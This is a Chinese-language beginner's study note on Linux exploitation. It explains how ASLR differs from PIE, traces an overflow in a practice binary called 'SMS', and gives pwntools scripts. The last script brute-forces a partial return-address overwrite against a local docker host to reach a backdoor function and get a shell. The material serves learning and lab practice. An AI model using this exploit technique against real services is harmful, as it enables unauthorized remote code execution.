linux漏洞分析入門筆記-bypass_PIE
ubuntu 16.04
IDA 7.0
docker
0x00:漏洞分析
1.ASLR的是操作系統的功能選項,作用於executable(ELF)裝入內存運行時,因而只能隨機化stack、heap、libraries的基址;而PIE(Position Independent Executables)是編譯器(gcc,..)功能選項(-fPIE),作用於excutable編譯過程,可將其理解為特殊的PIC(so專用,Position Independent Code),加了PIE選項編譯出來的ELF用file命令查看會顯示其為so,其隨機化了ELF裝載內存的基址(代碼段、plt、got、data等共同的基址)。
ASLR早於PIE出現,所以有return-to-plt、got hijack、stack-pivot(bypass stack ransomize)等繞過ASLR的技術;而在ASLR+PIE之後,這些bypass技術就都失效了,只能借助其他的信息泄露漏洞泄露基址(常用libc基址)。
ASLR有0/1/2三種級別,其中0表示ASLR未開啟,1表示隨機化stack、libraries,2還會隨機化heap。
2.查看目標程序屬性與動態分析漏洞成因。
圖1
圖1中可以看到程序開啟了PIE保護,每次加載的基址是不一樣的,PIE的應用給使用ROP技術造成了很大的難度。
通過IDA動態調試目標程發現漏洞產生是如下地方:
圖2
程序執行過程中在dosms函數中調用了set_user與set_sms函數,set_user讀取最大長度為128字符的username,最後一字節做了set_sms中strncpy的大小,修改最後一個字節構長時造成溢出。
1.簡單寫一個rop來測試。
#! /usr/bin/python from pwn import * import pdb context.log_level = ‘debug‘ target = process(‘./SMS‘) elf=ELF(‘./SMS‘) pdb.set_trace() #poc target.recv() rop=‘A‘*40#rop+=‘\xca‘# size target.sendline(rop) target.recv() rop+=‘B‘*159# #rop+=‘\x01\xC9‘# pass pie rop+=‘C‘*8#ret address target.sendline(rop) target.recv() target.interactive()
圖3
如圖3所示返回地址被CCCCCCCC覆蓋了,由於這個程序開啟了PIE保護,我們不能確定frontdoor的具體地址,因此沒辦法直接通過溢出來跳轉到frontdoor(),也不能通過got表來實現rop了。
0x01:爆破繞過PIE
1.libc每次加載基址會發生變化是ASLR。開啟了PIE後的地址,和libc加載時一樣,都是在一個內存頁的單位上進行變化,即地址的低三位(4KB=0x1000)是不變化的,所以我們可以通過溢出只覆蓋已有地址的低三位,(某條指令的後12位,3個十六進制數的地址是始終不變的。因此通過覆蓋EIP的後8或16位)如果在最後一字節0-0xff空間內有可用的rop也可以只覆蓋低兩位也就是一個字節來控制流程,不過這樣的機率太小了。
2.對比下發現每次隨機的其實只有一個位是變化的,所以最多嘗試16次就能成功爆破。
圖5
圖5
我們直接將返回地址修改成後門的地址。
圖6
3.最終的poc如下:
#! /usr/bin/python #coding:utf-8 from pwn import * import pdb context.log_level = ‘debug‘ elf=ELF(‘./SMS‘) pdb.set_trace() patcharr = [‘\x01\x09‘,‘\x01\x19‘,‘\x01\x29‘,‘\x01\x39‘,‘\x01\x49‘,‘\x01\x59‘,‘\x01\x69‘,‘\x01\x79‘,‘\x01\x89‘,‘\x01\x99‘,‘\x01\xA9‘,‘\x01\xB9‘,‘\x01\xC9‘,‘\x01\xD9‘,‘\x01\xE9‘,‘\x01\xF9‘] i = 0 while True: print i io = remote("172.17.0.2", 10001) io.recv() payload = ‘A‘*40 #padding payload += ‘\xca‘ #size io.sendline(payload) io.recv() payload = ‘B‘*200 #padding payload += patcharr[6] # i frontdoor最多嘗試16次 io.sendline(payload) io.recv() i += 1 try: io.recv(timeout = 1) except EOFError: io.close() print ‘error......‘ continue else: sleep(0.1) print ‘succ......‘ io.sendline(‘/bin/sh\x00‘) sleep(0.1) io.interactive() break
最後成功獲得shell:
圖7
0x02:總結
1.本是想通過修改最後一個字節來執行rop泄露內存地址,但是沒有在0x00-0xFF內存空間中找到適合的rop。
linux漏洞分析入門筆記-bypass_PIE